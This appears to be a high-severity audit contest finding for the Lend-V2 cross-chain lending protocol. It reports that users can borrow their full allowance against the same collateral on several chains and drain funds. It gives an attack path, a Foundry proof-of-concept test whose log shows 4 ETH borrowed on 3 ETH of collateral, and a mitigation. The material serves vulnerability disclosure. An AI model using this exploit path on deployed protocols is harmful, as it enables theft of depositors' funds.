Muscular Eggshell Pike

High

# Users can borrow more than their supplied collateral and can drain protocol funds

### Summary

The protocol allows users to supply collateral on one chain (e.g., Chain A) and then borrow against that collateral on multiple destination chains (e.g., Chain B and Chain C). Because each destination chain does not track the user's total collateral usage across all chains, the user can borrow up to their maximum allowed amount on each chain independently. This results in the userâ€™s total borrowed amount across all chains exceeding their original collateral, leaving the protocol overexposed and under-collateralized. A malicious user could repeat this process across multiple chains and drain protocol funds by redeeming their collateral, keeping the remaining borrowed assets, re-supply, then over-borrow again.

### Root Cause

In the [`CrossChainRouter`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CrossChainRouter.sol#L113) and [`LendStorage`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/LendStorage.sol) contracts, there is no check to verify the borrow amount exceeds the supplied collateral  across multiple chains

### Internal Pre-conditions

1. The chains that a user borrows must have underlying tokens to withdraw

### External Pre-conditions

NA

### Attack Path

_Assume that all chains have underlying tokens already supplied_

1. Attacker supplies 3 ETH of collateral on Chain A
2. Borrows 2 ETH worth of tokens on Chain B, using their Chain A collateral
3. Borrows same amount (2 ETH) on Chain C, using their Chain A collateral
4. Result: over-borrowed position
5. Attacker can repay cross-chain borrow, gaining their collateral back and keeping borrowed ETH from Chain C without collateral to liquidate

### Impact

The attacker can now redeem their original collateral, or simply keep the borrowed tokens from both chains, draining protocol liquidity. This process can be repeated or scaled up, draining even more funds.

### PoC

To run the test, first add 2 global variables towards the top of `TestBorrowingCrossChain.t.sol`:
<details>
<summary>Diff</summary>

```diff
contract TestBorrowingCrossChain is LayerZeroTest {
    HelperConfig public helperConfig;
    address public layerZeroEndpoint;
    address[] public supportedTokensA;
    address[] public supportedTokensB;
    address[] public supportedTokensC;
    bool public isTestnet;
    address public deployer;

    // Chain A (Source)
    CrossChainRouterMock public routerA;
    LendStorage public lendStorageA;
    CoreRouter public coreRouterA;
    Lendtroller public lendtrollerA;
    InterestRateModel public interestRateModelA;
    SimplePriceOracle public priceOracleA;
    address[] public lTokensA;

    // Chain B (Destination)
    CrossChainRouterMock public routerB;
    LendStorage public lendStorageB;
    CoreRouter public coreRouterB;
    Lendtroller public lendtrollerB;
    InterestRateModel public interestRateModelB;
    SimplePriceOracle public priceOracleB;
    address[] public lTokensB;

    uint32 constant CHAIN_A_ID = 1;
    uint32 constant CHAIN_B_ID = 2;
+  uint32 constant CHAIN_C_ID = 3;

    EndpointV2 public endpointA;
    EndpointV2 public endpointB;
    SimpleMessageLib public simpleMsgLibA;
    SimpleMessageLib public simpleMsgLibB;
+  SimpleMessageLib public simpleMsgLibC;
```

</details>

Then add these helper functions:
<details>
<summary>Functions</summary>

```solidity
 function _supplyC(uint256 amount, CoreRouter coreRouterC, LendStorage lendStorageC, CrossChainRouterMock routerC) internal returns (address token, address lToken) {
        // supplied by other user (not deployers collateral)
        address user = makeAddr("user");
        vm.deal(user, 1000 ether);

        // Deal ether for LayerZero fees
        vm.deal(address(routerC), 1 ether);
        

        token = supportedTokensC[0];
        lToken = lendStorageC.underlyingTolToken(token);

        vm.startPrank(user);
        ERC20Mock(token).mint(user, amount);
        IERC20(token).approve(address(coreRouterC), amount);
        coreRouterC.supply(amount, token);
        vm.stopPrank();
    }

    function _addUnderlying(LendStorage lendStorageC, CrossChainRouterMock routerC, SimplePriceOracle priceOracleC, address[] memory lTokensC) internal {
        vm.startPrank(routerC.owner());
        for (uint256 i = 0; i < supportedTokensC.length; i++) {
            lendStorageC.addUnderlyingToDestUnderlying(supportedTokensC[i], supportedTokensA[i], CHAIN_A_ID);
            // Add mapping from underlying token to destination lToken
            lendStorageC.addUnderlyingToDestlToken(supportedTokensC[i], lTokensA[i], CHAIN_A_ID);
        }
        vm.stopPrank();

        for (uint256 i = 0; i < supportedTokensC.length; i++) {
            priceOracleC.setDirectPrice(supportedTokensC[i], 1e18);
        }
    }

    function _addUnderlyingChainA(address[] memory lTokensC) internal {
        vm.startPrank(routerA.owner());
        for (uint256 i = 0; i < supportedTokensA.length; i++) {
            // Map from Chain A's token to Chain C's token
            lendStorageA.addUnderlyingToDestUnderlying(supportedTokensA[i], supportedTokensC[i], CHAIN_C_ID);
            // Map from Chain A's token to Chain C's lToken
            lendStorageA.addUnderlyingToDestlToken(supportedTokensA[i], lTokensC[i], CHAIN_C_ID);
        }
        vm.stopPrank();
    }

    function _setUpCrossChainRouterC() internal returns (CoreRouter, LendStorage, CrossChainRouterMock) {
        // Setup
        // Chain C (Destination 3)
        EndpointV2 endpointC;
        
        Deploy deployC = new Deploy();
        (
            address priceOracleAddressC,
            ,
            ,
            address[] memory lTokenAddressesC,
            address payable routerAddressC,
            address payable coreRouterAddressC,
            address lendStorageAddressC,
            , 
            address[] memory _supportedTokensC
        ) = deployC.run(address(endpointC));

        CrossChainRouterMock routerC = CrossChainRouterMock(payable(routerAddressC));
        LendStorage lendStorageC = LendStorage(lendStorageAddressC);
        CoreRouter coreRouterC = CoreRouter(coreRouterAddressC);

        SimplePriceOracle priceOracleC = SimplePriceOracle(priceOracleAddressC);
        address[] memory lTokensC = lTokenAddressesC;
        supportedTokensC = _supportedTokensC;

        _addUnderlying(lendStorageC, routerC, priceOracleC, lTokensC);
        _addUnderlyingChainA(lTokensC);
        
        vm.label(address(routerC), "Router C");
        routerC = CrossChainRouterMock(payable(routerAddressC));

        routerC.setPairContract(payable(address(routerA)));
        routerA.setPairContract(payable(address(routerC)));

        return (coreRouterC, lendStorageC, routerC);
    }
```

</details>

And finally, paste the test:

<details>
<summary>Test</summary>

```solidity
function test_that_user_can_borrow_more_than_collateral() public {
        uint256 amountToSupply = 3e18;
        uint256 amountToBorrow = 2e18;

        // Fund Router A with ETH for LayerZero fees
        vm.deal(address(routerA), 2 ether);

        // First supply tokens as collateral on Chain A
        (address tokenA ,) = _supplyA(amountToSupply);

        // Then supply tokens as borrowable on Chain B
        // @note - Has to be enough tokens to cover the borrow on the destination chain...
        _supplyB(amountToSupply);

        // Verify token mappings
        address destToken = lendStorageA.underlyingToDestUnderlying(tokenA, CHAIN_B_ID);

        require(destToken != address(0), "Token mapping not set up correctly");

        // Get initial balances
        uint256 initialTokenBalance = IERC20(destToken).balanceOf(deployer);

        vm.startPrank(deployer);

        // Expect BorrowSuccess event
        vm.expectEmit(true, true, true, true);
        emit BorrowSuccess(deployer, tokenA, amountToBorrow);

        // Call borrowCrossChain with token address
        routerA.borrowCrossChain(amountToBorrow, tokenA, CHAIN_B_ID);

        // Verify the borrow was successful
        assertEq(
            IERC20(destToken).balanceOf(deployer) - initialTokenBalance,
            amountToBorrow,
            "Should receive correct amount of borrowed tokens"
        );

        vm.stopPrank();

        uint256 tokenBalanceAfter1 = IERC20(destToken).balanceOf(deployer);

        // ChainC setup and borrow
        (CoreRouter coreRouterC, LendStorage lendStorageC, CrossChainRouterMock routerC) = _setUpCrossChainRouterC();

        // Supplied by other user (not deployers collateral)
        _supplyC(amountToSupply * 2, coreRouterC, lendStorageC, routerC);

        // Verify token mappings
        address destToken2 = lendStorageA.underlyingToDestUnderlying(tokenA, CHAIN_C_ID);

        require(destToken2 != address(0), "Token mapping not set up correctly");

        vm.startPrank(deployer);

        // Expect BorrowSuccess event
        vm.expectEmit(true, true, true, true);
        emit BorrowSuccess(deployer, tokenA, amountToBorrow);

        // Call borrowCrossChain with token address
        routerA.borrowCrossChain(amountToBorrow, tokenA, CHAIN_C_ID);

        vm.stopPrank();

        uint256 tokenBalanceAfter2 = IERC20(destToken2).balanceOf(deployer);
        console2.log("Token balance after borrowing on Chain C:", tokenBalanceAfter2 + tokenBalanceAfter1);
        console2.log("Amount of collateral supplied:", amountToSupply);

        // Verify the user borrowed more than their collateral
        assertGt(
            IERC20(destToken).balanceOf(deployer) + IERC20(destToken2).balanceOf(deployer),
            amountToSupply,
            "Should own more than collateral supplied"
        );
    }
```
</details>

You will see a log output like so:

<details>
<summary>Logs</summary>

```bash
[PASS] test_that_user_can_borrow_more_than_collateral() (gas: 65988414)
Logs:
  Token balance after borrowing on Chain C: 4000000000000000000
  Amount of collateral supplied: 3000000000000000000
```

</details>


### Mitigation

Implement global collateral and borrow accounting across all chains.